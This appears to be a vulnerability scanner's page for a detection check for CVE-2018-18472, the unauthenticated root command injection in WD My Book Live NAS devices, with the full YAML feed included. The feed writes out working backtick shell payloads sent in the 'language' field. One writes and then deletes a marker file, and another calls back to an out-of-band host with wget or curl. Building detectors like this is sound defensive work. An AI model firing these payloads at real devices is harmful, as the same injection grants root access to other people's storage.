WD My Book Live — 1 vulnerability check
noctis ships 1 vulnerability check for WD My Book Live, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Western Digital My Book Live Unauthenticated RCE
| CVE | CVE-2018-18472 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/wd-mybooklive/CVE-2018-18472.yaml |
Detects the Western Digital My Book Live (and Live Duo) unauthenticated root command injection in the `language` parameter of PUT /api/1.0/rest/language_configuration (CVE-2018-18472). The injected shell writes a per-run computed marker to a file under the web root, the feed reads it back and deletes it; when OOB is configured, a blind wget callback covers devices that do not serve the file. The device language is left unchanged.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
PUT /api/1.0/rest/language_configurationwith a crafted body - HTTP(S) request
GET /{{proof.file}} - HTTP(S) request
PUT /api/1.0/rest/language_configurationwith a crafted body - Checks
rb.bodyforNOCTIS[0-9]{11,12}→ finding QoD 97: WD My Book Live language_configuration command injection confirmed: the unauthenticated PUT injected `echo NOCTIS$((…*…)) >/var/www/…`, and… - Parses / computes the next value with a Rhai script
- HTTP(S) request
PUT /api/1.0/rest/language_configurationwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: WD My Book Live language_configuration blind command injection confirmed: a shell collapsed the $()-split OOB token in the unauthenticated …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-18472
- https://www.wizcase.com/blog/hack-2018/
- https://www.westerndigital.com/support/productsecurity/wdc-21008-recommended-security-measures-wd-mybooklive-wd-mybookliveduo
Feed source — tests/vulnerabilities/wd-mybooklive/CVE-2018-18472.yaml
# Western Digital My Book Live — unauthenticated root command injection in the
# REST API language setting (CVE-2018-18472)
#
# Ported from OpenVAS/Greenbone NVT `2018/western_digital/gb_wd_nas_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.141680, GPL-2.0-only). Exploited in the wild
# (mass wipe of My Book Live devices, June 2021, WDC-21008).
#
# PUT /api/1.0/rest/language_configuration needs no authentication. The
# firmware's includes/languageConfiguration.php puts the `language` value
# unescaped in
# exec("sudo bash -c '(echo \"language {$changes["language"]}\">/etc/language.conf)'")
# so backticks in `language` run as root (inside the double quotes; single
# quotes would break the outer bash -c string, so the payloads never use any).
# Whatever the backticks print becomes the new language value.
#
# Detection — benign, self-cleaning, the device language is preserved:
# 1. In-band (QoD 97), the NASL flow with `id` replaced by a computed marker.
# PUT `language=`echo NOCTIS$((a*b)) >/var/www/<f>; L=$(sed … language.conf); echo ${L:-en_US}``
# writes NOCTIS<a*b> to /var/www/<f> (a, b random 6-digit integers, f a
# per-run file name), then prints the CURRENT language back so
# /etc/language.conf is rewritten unchanged (bash expands the echo
# argument before it truncates the file; en_US — the NASL's value — only
# if the file had no language line). GET /<f> must return NOCTIS<a*b>:
# the product never appears in any request, so no reflection, echo or
# catch-all page can produce it. A second PUT removes the file
# (`rm -f`, as the NASL's cleanup does), whatever the outcome.
# `*` is used rather than `+` because the body is form-encoded raw, as the
# NASL sends it (`+` would decode to a space).
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire — e.g. a model whose web root is not /var/www):
# the backticks run `wget -q -T 5 -t 1 -O /dev/null http://<oob>/<a>$()<b>`
# (curl -m 5 if wget is missing; short timeouts so an unreachable OOB
# host never leaves a hung root process that later rewrites the file), where <a><b> = oob_token split by an empty
# $() that only a shell removes. Nothing is printed, so the language is
# again rewritten unchanged.
#
# Deviations from the NASL (intentional):
# - computed marker instead of `id`, written to a per-run file and deleted
# right after (project benign-proof rule);
# - the language value is preserved instead of being forced to en_US;
# - no prior My Book Live / My Cloud CPE fingerprint is required (the proof
# identifies the device); OOB fallback for devices that do not serve the
# written file — a case the NASL misses.
uid: f2fb5dd1-8fc3-44ef-a0b8-418186fc1589
name: "Western Digital My Book Live Unauthenticated RCE (CVE-2018-18472)"
description: |
Detects the Western Digital My Book Live (and Live Duo) unauthenticated root
command injection in the `language` parameter of
PUT /api/1.0/rest/language_configuration (CVE-2018-18472). The injected
shell writes a per-run computed marker to a file under the web root, the
feed reads it back and deletes it; when OOB is configured, a blind wget
callback covers devices that do not serve the file. The device language is
left unchanged.
cves: [CVE-2018-18472]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [western-digital, wd-mybooklive, nas, command-injection, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-18472"
- "https://www.wizcase.com/blog/hack-2018/"
- "https://www.westerndigital.com/support/productsecurity/wdc-21008-recommended-security-measures-wd-mybooklive-wd-mybookliveduo"
steps:
# Per-run proof: file name and two random 6-digit integers whose product
# (11-12 digits) is the marker.
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ file: "noctis" + rand_hex(8) + ".txt", a: "" + a, b: "" + b, marker: "NOCTIS" + (a * b) }
store_as: proof
# NASL request (PUT, form body sent raw), `id > /var/www/<f>` replaced by the
# marker write + language-preserving echo.
- id: inject-write
action: http_request
method: PUT
path: "/api/1.0/rest/language_configuration"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "language=`echo NOCTIS$(({{proof.a}}*{{proof.b}})) >/var/www/{{proof.file}}; L=$(sed -n s/^language.//p /etc/language.conf); echo ${L:-en_US}`"
store_as: put
- id: read-back
action: http_request
method: GET
path: "/{{proof.file}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rb
# Cleanup, always (as the NASL does after a hit): remove the file, keep the
# language. A no-op on a fixed device.
- id: cleanup
action: http_request
method: PUT
path: "/api/1.0/rest/language_configuration"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "language=`rm -f /var/www/{{proof.file}}; L=$(sed -n s/^language.//p /etc/language.conf); echo ${L:-en_US}`"
store_as: clean
- id: confirm-rce
action: match
source: rb.body
pattern: "NOCTIS[0-9]{11,12}"
condition: "type_of(rb.body) == \"string\" && rb.status == 200 && stridx(rb.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WD My Book Live language_configuration command injection confirmed: the unauthenticated PUT injected `echo NOCTIS$(({{proof.a}}*{{proof.b}})) >/var/www/{{proof.file}}`, and GET /{{proof.file}} returned the shell-computed marker {{proof.marker}} (file deleted afterwards, language unchanged)"
stop: true
# ── Blind fallback (OOB only) ─────────────────────────────────────────────
# Split the OOB token around an empty $() so only a shell rebuilds it.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: PUT
path: "/api/1.0/rest/language_configuration"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "oob_enabled"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "language=`wget -q -T 5 -t 1 -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}} || curl -s -m 5 -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}}; L=$(sed -n s/^language.//p /etc/language.conf); echo ${L:-en_US}`"
store_as: put_oob
- id: wait-callback
action: wait_oob
oob_timeout_secs: 15
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WD My Book Live language_configuration blind command injection confirmed: a shell collapsed the $()-split OOB token in the unauthenticated PUT and the injected wget fetched the per-run OOB URL (HTTP callback received; language unchanged)"
stop: true